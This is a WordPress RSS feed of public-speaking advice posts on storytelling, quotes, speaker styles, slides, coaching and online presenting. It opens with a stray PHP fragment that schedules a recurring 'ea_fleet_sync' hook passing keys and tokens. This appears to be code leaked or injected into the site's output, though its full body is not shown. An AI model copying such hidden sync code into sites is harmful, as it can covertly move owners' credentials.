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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Presentation skills Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/presentation-skills/ Public speaking Tue, 25 Jun 2024 20:36:10 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Storytelling is always there for you https://www.nowyouretalking.co.uk/2024/06/25/storytelling-is-always-there-for-you/ Tue, 25 Jun 2024 17:19:34 +0000 https://www.nowyouretalking.co.uk/?p=1605 Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference. People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t…

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]]> Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference.

People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t true. Our stories are everywhere, all around us. We just need to spot their relevance.

On Friday, I went to the races. A delightful day at Royal Ascot, horses, fascinators and friends.

Royal Ascot race course

I’m a big believer that betting a small amount of money on every race spices up the experience. But I don’t know much about the world of horse racing.

I can probably name the odd trainer or jockey. I can name some past winners. But I’m certainly no pundit. So, how do I choose which horses to back? Trainers and jockeys might feature. Colour of a jockey’s hat might feature. But mostly it’s the stories the horses’ names conjure up in my mind.

Here’s a canter through some of the storytelling behind the horses I backed that day at the races.

Opera Singer

I do enjoy going to the opera from time to time. But opera particularly reminds me of my mum. Her favourite was Puccini’s La Boheme. I can tell many stories about travelling around the world and going to this opera in her memory.

It came second. Sadly, I’d only backed it to win. Worse was yet to come. In the next race, Soprano appeared on the race card. I ignored it after the poor performance of Opera Singer. Shame on me. Stick to your guns I told myself as Soprano led the field across the finishing line.

Theory of Tides

I’ve been doing a Life Writing course with Faber & Faber and am currently reading a book called ‘The Tidal Year’ by Freya Bromley. A match made in heaven I thought. Apparently not. Nonetheless, I’m loving the book and now I have new material for my storytelling treasure trove that connects a writing course with a day at the races. I can certainly see how an immersive experience like Ascot could show up in a story one day.

Gushing Gold

Drawn by its enriching alliterative name, I almost won over £300!

Language matters and is dear to my heart so its importance will always feature in how I craft a story

Hard to Resist

I’d like to say that’s me, but I would never presume. I can get very passionate about things and perhaps find them hard to resist; just like the name of this horse.

While the irresistible isn’t always a winner, I can’t say I have any lasting regrets and they all certainly add to life’s rich tapestry and make us who we are.

Flight of Fancy

A good place to start when we’re building our storytelling treasure trove. Our imaginations might go a bit too far, but they help us get started and produce material we can later edit to make the point we need to make in a talk or presentation.

Matters Most

What matters most to you? Always a great source of stories you can share in your speeches. You can use it to demonstrate your values, explore obstacles that can get in our way, perhaps even determine the subject of your next TEDxTalk 😊.

In the same race, No Half Measures came third. Oops, I’ve always thrown myself heart and soul into whatever I do. Should have listened more carefully to the voice in my head going ‘That’s you, Lyn!’

Inisherin

I completely blew it. I kept mentioning what a fabulous film The Banshees of Inisherin was and then failed to put my money where my mouth was. It romped home!

If something gives you a good feeling, back your instincts.

Storytelling makes a difference

I can’t say that a story that goes with the name of a horse guarantees success – though I’d have won more if I’d stuck more closely to my stories.

But I can say that your real stories are at the heart of an engaging and memorable talk or presentation for your audience and for you as the speaker.

A day at the races and other life experiences offer many a relevant story to stash in your storytelling treasure trove and use to illustrate your point next time you’re in front of an audience.

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]]> Beware the quote https://www.nowyouretalking.co.uk/2023/09/10/beware-the-quote/ Sun, 10 Sep 2023 08:55:48 +0000 https://www.nowyouretalking.co.uk/?p=1566 Beware the quote. Our favourite social media platforms are awash with them. I can think of two big reasons to be careful with quotes: 1.  They can feel really repetitive and clichéd as the same thoughts appear over and over…

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]]> Beware the quote. Our favourite social media platforms are awash with them.

Quote from Dorothy Sayers about how quotes save you from having to have original thoughts

I can think of two big reasons to be careful with quotes:

1.  They can feel really repetitive and clichéd as the same thoughts appear over and over again.

2.  Quotes need checking. Misattribution is common.

For instance, Maya Angelou is often credited with this quote:

‘They may forget what you said, but they will never forget how you made them feel.’

It seems the actual author was Carl W Buehner. Beware the quote source.

Quote Investigator is a good online place to start checking quotes, especially those you find on the Internet rather than read yourself in an original book.

In my recent TEDxTalk, the early drafts ended with this quote:

‘Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it’s the only thing that ever has’ (Margaret Mead).

I eventually replaced Margaret Mead’s words with my own anchor phrase – ‘Loneliness shatters. Community matters’. It’s memorable and the audience joined me in the connection sweet spot by chorusing the last word of my talk with me.

If giving talks and presentations is an act of thought leadership and changing what people think, feel and do, then beware the quote.

Your original thoughts and words have greater sincerity and power to make a difference than trotting out other people’s quotes we’ve probably heard before.

Thanks to The Knowledge for the Dorothy Sayers quote.

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]]> What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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]]>

‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> Just pause – the power of silence; don’t worry about the gap! https://www.nowyouretalking.co.uk/2023/08/20/just-pause-power-of-silence/ Sun, 20 Aug 2023 10:18:10 +0000 https://www.nowyouretalking.co.uk/?p=707 Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence. We are apparently born with just two fears – fear of falling and fear of LOUD…

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]]> Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence.

We are apparently born with just two fears – fear of falling and fear of LOUD NOISES.  These two fears are part of our DNA that we pass from one generation to the next as survival mechanisms.  They have one purpose and one purpose only… the preservation of the human race.

MIND THE GAP! Pause - don't mind the gap

Fellow travellers, commuters and everyone who uses public transport in  London, have you stopped listening to those loud and incessant health-&-safety-driven messages. Just pause and please don’t mind the gap.

A while ago now, rail bosses agreed to rid passenger announcements of what they called ‘tosh’, after finding most customers zone out at the first ‘bing-bong’ of the PA system because they consider the information to be largely irrelevant, redundant and repetitive.

Bizarrely, this hasn’t filtered through to TfL.  And to make sure we don’t zone out its pearls of wisdom, TfL has ramped up the volume!

A member of TfL staff once explained to me that the decibel level for its inanities, sorry important messages and announcements, is set at 20% above the ambient sound levels on the platforms or in the trains.  I’m not sure how they gauge the ambient sound, but 20% above seems to vary from…

[VERY QUIETLY] “This train terminates here.  All change.  Thank you for travelling with London Overground.”

… to

[VERY LOUDLY] “This is a customer announcement.  In the interests of security, please keep your luggage and personal belongings with you at all times!  If you see anything suspicious, please tell a member of staff or a police officer.” And now we have the maddening, if well-intentioned addition of “See it. Say it. Sorted!”

One moment, it’s barely audible; the next, [FINGERS IN EARS] “Turn it down, pleeeeease!”

And as if that’s not enough, they seem to want to grind us into the ground by droning on and on and on, relentlessly ignoring the power of the pause!

Please stand behind the yellow line.

Please take extra care with the gap between the train and the platform.  Whatever happened to Mind the Gap?

This is the London Overground Service to Highbury & Islington.  The next station is Canada Water.  Change here for London Underground Jubilee Line.  The next station bit is like a breath of fresh air as the name changes from one stop to the next.

Pause, please! But they don’t stop there!

You must have a valid ticket or Oyster card to use this train.  If you do not, you may have to pay a penalty fare.  Thank you.

Would customers please note that due to a short platform, the rear doors of the last coach will not open.

Would customers please note, you can only alight from the front four coaches as this station has a short platform.

Please ensure that you are travelling in the correct part of the train.  This is coach number 2 of 5.

Every station!  And sometimes in triplicate – just before the station, at the station, on leaving the station!  And if the length of the platform is the only thing that customers should please note, why say the rest!  Would TfL please note, it’s like listening to a robot unravelling! Pause. Take a breath. Stop talking!

No wonder people wear headphones!  Unfortunately, this exacerbates the situation, as TfL ramps up the decibel level even further in an effort to penetrate the passenger sound barrier.

It’s a terrifying experience out there on Transport for London.  I feel utterly bamboozled, battered and bewildered!

But then, sometimes you get lucky and the noise becomes beautiful and humorous sound.  A guard on the Met line recently announced: “I do apologise for the early arrival of this service this morning.  Normal delayed service will be resumed this evening!”

The Jubilee line has a driver who likes to entertain his passengers.  Based on what he sees as people board the train, his dulcet tones have caressed our hearts and ears with things like

Welcome to the Jubilee line this Friday evening.  If you need someone to do your ironing this weekend, have a chat with the lady who has just boarded the third carriage from the front … with an ironing board.  For a sing song, please move to the rear of the train and join the man with his guitar.  I wish I had given the beautiful lady the red roses she is carrying.  Come Monday morning, welcome ladies and gentlemen.  I hope you had a great weekend! These are announcements we can enjoy, humorous messages that make us feel good. And when they have nothing to say, they pause. Silence.

Would TfL please note, drivers can give us so much pleasure

Would TfL please pause, we have no fear of silence

Would TfL please note the rather apposite wisdom of Mark Twain:

“If you have nothing to say, say nothing.”

 

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]]> I’m late! https://www.nowyouretalking.co.uk/2023/02/27/im-late/ Mon, 27 Feb 2023 09:14:00 +0000 https://www.nowyouretalking.co.uk/?p=1503 I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to…

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]]> I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to happen at a certain time.

It all started with a due date. My debut. Expected 14 July in a local village hospital. Cancerian.

In the words of the White Rabbit:

“I’m late, I’m late for a very important date. 

No time to say goodbye, hello, I’m late, I’m late, I’m late.”

2 weeks late, in fact, refusing to come out, running out of oxygen, turning blue, blue flashing lights emergency dash from the village hospital to the North Middlesex in Edmonton. I made it! Late, but not too late. Leo. And technically, I suppose, a Londoner.

The years rolled by and I found myself late going to university. This time was a deliberate plan. Go to Paris to finesse my French while working as a waitress in hotels, before going to Exeter to study French and philosophy.

I got even later as I decided to go to Germany and hone my German, still working in hotels and loving languages.

Not sure what happened, but instead of Exeter I found myself in Scotland, studying hotel, catering and tourism… of course, with some languages thrown in!

Consequently, I was late getting a permanent job. I loved the academic world and just couldn’t tear myself away. Until I decided it doesn’t pay enough! What job could I do? I chose market research because it had the word research in its name and that’s what I’d been doing for most of the previous decade.

As a market researcher I gave a lot of presentations and conference papers. I’d received the cursory presentation skills training. I don’t think it was much help. I was vaguely competent… But certainly not connected or engaging. If only I’d known then what I know now!

And now I’ve realised that I was also late finding my ideal job.

Online, I kept doing these tests to find your ideal job, the one that suits you best. Most seemed to tell me my career choice as a market researcher was number 11 and that there were 10 jobs better suited to me. I wasn’t prepared to pay the money they wanted to reveal my top 10. But after completing my Distinguished Toastmaster, I think I’ve found it.

I started Now You’re Talking my own business as a public speaking coach.

My friend, Sally, heard me doing some one-to-one coaching and I overheard her say “Now there’s a Lyn I haven’t seen for a long time”.

Dream job. Late, but hopefully not too late.

I’m definitely still chasing something, but I’ve no idea what it is! Too late? Watch this space!

PS Bonus tip if you struggle to deliver talks and presentations that run to time

 

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]]> It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Collaborative coaching unleashes the ‘F’ words https://www.nowyouretalking.co.uk/2022/11/03/collaborative-coaching/ Thu, 03 Nov 2022 16:41:36 +0000 https://www.nowyouretalking.co.uk/?p=1464 What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the…

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]]> One-to-one Collaborative Coaching

What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the coach and the person you’re coaching work together, unleashing the ‘F’ words, for mutual benefit. What I like to call collaborative coaching.

When I think about collaborative coaching, I think about unleashing my four favourite ‘F’ words!

Friendship

Cast your mind back to life before Covid. I was meeting a potential client in the British Library. She’d allowed 45 minutes for our meeting to see if she wanted to work with me on her public speaking. It didn’t start well.

Her train was delayed. My train was delayed. Her train was further delayed.

I got to the British Library. She was just arriving at Euston and there was a queue to get into the British Library.

So much for our 45 minutes! By the time we’d found each other, grabbed a cuppa and found somewhere to sit, we were down to 30 minutes.

We started talking about… politics. Risky, eh, on a first meeting? We talked about Brexit, the general election, Amazon’s tax status. We carried on. Homelessness. Mental health. We swapped personal stories and traded vulnerabilities.

Then she said “Lyn, I have a year of important speaking ahead and I want to raise my speaking game. What can you do for me? I talked about my approach. She talked about invoicing. And I thought, happily, I have a new client.

She told me that she’d arranged to meet me to see if she liked me. Somehow, our 30 minutes morphed into a couple of hours and we left the British Library like new best friends, excited about working together.

In my experience, effective collaboration begins with a desire to understand each other and build something mutually beneficial together.

Flexibility

Collaborative coaching can’t be a one-way street with the coach deciding what to deliver, based on predetermined goals and content. That’s a lecture. Content needs to be flexible and determined by the person being coached, combined with observations from the coach. So the coach needs to…

LISTEN carefully. What does the person you’re coaching say they want you to cover and does that align with what they actually need in order to reach their speaking goals?

WATCH carefully. What do they show you they’re already good at and what could they improve?

FEEL fully. How do they make you feel when you experience being with them? How do they connect and engage with you and how is that likely to translate into speaking with an audience?

With the stated needs and the observations, you’re in a position to agree coaching objectives and co-create relevant content that can evolve, flexibly, as the coaching progresses. The continuous interchange between the coach and the coachee always produces a unique experience that is fresh and stimulating for both parties, while ensuring ongoing evaluation of goals and content.

Fun

As you know, we learn better when we’re relaxed and having fun. As Churchill said:

“Personally I’m always ready to learn, although I do not always like being taught.”

I like to think that collaborative coaching would have given Churchill the joy of learning in a way that responded to his needs and preferred learning style.

When we’re happy and having fun, we unleash a cocktail of dopamine, endorphins and oxygen that help us learn.

Coaching that involves laughter, play and experimentation is far more likely to be productive and something we look forward to. It keeps piquing our curiosity and encouraging us to want more, while the act of learning itself is a pleasure and one we enjoy being part of.

However, fun is one of those words that means different things to different people, so again, it’s crucial to explore what qualifies as fun to both participants.

When I meet a potential client, I’m exploring the things that make them laugh, the characteristics of what they consider a fun experience. And, having spent a career in market research, it’s not just what they say that I’m absorbing, but also what they don’t say, their non-verbal behaviour and responses.

So, how do we bring fun to online platforms? I always start with the setting. Is everyone comfortable? Do they have something to drink and/or eat? Do they have relevant equipment, materials and resources to hand? If not, it’s worth taking a few minutes to be ready and settle. Connection and engagement are critical, so it can be useful to share a story or anecdote before moving forward.

Interaction is essential for energy and fun. Breakout rooms on Zoom and Teams are invaluable in bringing small groups together, allowing them to explore and develop ideas before sharing them back to the bigger group. And don’t overlook all the tech that enables people to interact online, including digital whiteboards, pinboards, polls, etc.

Introducing elements of gamification can also heighten the fun, including introduction of a theme, pressure and excitement of being against the clock, competition, rewards and recognition, progression (levels), gifting and sharing, teamwork, anarchy of turning something on its head and so on. Gaming and play in its broadest sense have so much to bring to coaching as a stimulating and co-created, collaborative experience between coach and coachee and among fellow coaching participants.

Feedback

Collaborative coaching needs a growth mindset. It requires openness and recognition that both parties have something to teach to, and something to learn from, each other.

Coaching sessions where everyone is giving and receiving feedback are exciting and stimulating. The key is to agree in advance the nature of the feedback. Feedback is most effective when the ground rules are clear and everyone knows their role. Examples might include:

  • Who is giving feedback on what? Agreeing this in advance means participants can focus on the task as it is happening and not have to rely on recall after the event.
  • When is it useful to give the feedback? For instance, will sharing your thoughts as you go along be more or less helpful than debriefing as a session wrap-up?
  • How do you want to offer/receive feedback? I am a fan of a ‘sandwich’ approach where suggestions for improvement and growth are sandwiched in between positive observations about things that are working well.

When feedback is a tool for learning from each other so that coaching can develop effectively, it’s a win-win experience for all concerned.

As the coach, feedback challenges and stimulates you to sharpen and evolve your skills and material when you’re co-creating with the person you’re coaching.

As the person being coached, you get that vital input you need to develop and meet your coaching goals.

At its best, it allows coaches to acknowledge that coaching outcomes are a result of working together, of co-creation. For coachees, that very process of co-creation may help them acknowledge the help they’ve received.

It’s a great joy to work with clients who value the ‘F’ words – friendship, flexibility, fun and feedback – for collaborative coaching that benefits all involved.

 

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]]> Have you got the online mindset? https://www.nowyouretalking.co.uk/2021/06/28/online-mindset/ Mon, 28 Jun 2021 11:11:40 +0000 https://www.nowyouretalking.co.uk/?p=1414 The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be…

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]]> The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be heard online.

Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.

But what is the online mindset and how do we get it and avoid these pitfalls?

1. You’re in close up and everyone has a front-row seat

Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?

Before joining a meeting with camera/video on, check:

  • You’re well lit, so your audience can see your face and eyes as they are where we find trust and sincerity
  • You’ve got external and intrusive noise under control
  • You look the part for your close up
  • You’ve decluttered your surroundings, so there’s nothing to divert attention

2. Your audience is home alone

People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:

  • A warm and genuine smile communicates a relaxed and friendly you
  • Adopt a confident posture that says I’m comfortable and delighted to be here
  • Bring big energy, bigger than you would in the room, so that you can reach into your audience’s home. Dial up vocal interest and passion for your subject to help draw people towards you
  • Steady and direct eye contact builds trust, but it’s hard online because you have to talk to your camera lens, not the faces on your screen

And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.

3. Just because you can see your audience, it doesn’t mean they’re listening

Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.

We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.

Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:

  • Know your audience so you can open with something that matters to them
  • Deliver a clear message that’s new and relevant, for right now
  • Make things easy for them. Less is more online, so strip back your content to the ‘must-have’ information to support your message, and use a clear and easy-to-follow structure

4. It’s just you and the person in the front row

Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.

To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:

  • Are relevant to the subject of your talk
  • Draw on your own, real-life experiences
  • Have presence by being told in the here and now, with energy and enthusiasm
  • Are full of dialogue that engages all five senses, delivering energy and presence that narrative can’t achieve
  • Are appropriately edited to make sense and be memorable to an audience hearing them for the first time

And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.

Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.

Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.

First published as guest blog by Comms Rebel

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]]> Claim your voice – women speaking online https://www.nowyouretalking.co.uk/2020/09/23/claim-your-voice-women-speaking-online/ Wed, 23 Sep 2020 09:15:50 +0000 https://www.nowyouretalking.co.uk/?p=1280 Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their…

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]]> Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their voice and share their ideas.

For myriad complex reasons from being told we have no right to speak, to perfectionism, impostor syndrome and risk aversion, women are not taking up opportunities to speak. And the avoidance seems to be amplified online where women are often interrupted, spoken over or simply ignored by male counterparts.

If women want to step out of their comfort zone, they need to find their voice and become more visible. To achieve this online, we need to embrace the three essentials of communication – Confidence, Connection and a message that drives Change – in ways that work for us.

Confidence

In life, and as speakers and presenters, women struggle with confidence more than men. And having endured centuries of ‘put-downs’, it’s hardly surprising! Almost 3,000 years ago, Odysseus’ son Telemachus told his mother, Penelope, that speaking in the public forum is his responsibility and that she should return to her quarters to concentrate on her own work, the loom and the distaff.

In 1988, Punch published a cartoon by Riana Duncan depicting five men and one woman sitting in an office meeting. Miss Triggs makes a suggestion. The chairman replies: “That’s an excellent suggestion Miss Triggs. Perhaps one of the men here would like to make it.”

Such evidence is borne out in the annual McKinsey and Lean In Women in the Workplace report, which in 2019, found that half the women surveyed had experienced being interrupted or spoken over and two in five referenced others taking credit for their ideas.

Hardly surprising, then, that women are reluctant to speak. Yet, online, more than being in the same room as our audience, we need to bring confident energy to the screen so that our audience can relax and connect with us and what we’re saying.

Ready for your close up?

Women speaking online can feel challenged by the format and reluctant to speak. As you look at a screen and see everyone’s face staring back at you, it can feel intimidating. So, we need to be happy with how we look and show ourselves to best advantage.

When you go online, it’s easy to overlook your familiar surroundings, but your computer’s camera and mic will relay everything in range. Check what your audience will see and hear and make sure it’s what you want them to see and hear.

Think about being online as having a close up. You’re on the small screen and the camera will pick up every detail, expression and gesture. Is your lighting setting you off to best advantage so that you’re not plunged into shadow, dazzled by sunshine or distorted by reflections bouncing off your face or glasses if you wear them? I’m often asked about clothes and I recommend comfortable and appropriate for your audience. Block colours can reinforce a look of confident professionalism.

Keep calm when speaking online

Relying on technology can sometimes feel like working with children and animals. In spite of doing all the appropriate tech checks, things can still go wrong. And people accept that this can happen. What’s important is that you handle it calmly and efficiently, explaining what’s happening; and even better, invite a participant to take care of the tech for you.

Show your confidence

Consider all the non-verbal ways you can convey confident energy online. Bear in mind that we can often only see small images of participants or even less if they have their webcams turned off. This makes it hard to read non-verbal cues so make them clear and deliberate:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, you’re on the small screen and big gestures that work in a large venue will overwhelm or fall off screen
  • Steady eye contact and the correct positioning of your camera lens at just above eye level make you look open and sincere and keep any double chins at bay!

Connection

If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

Answer their ‘What’s In It For Me?’

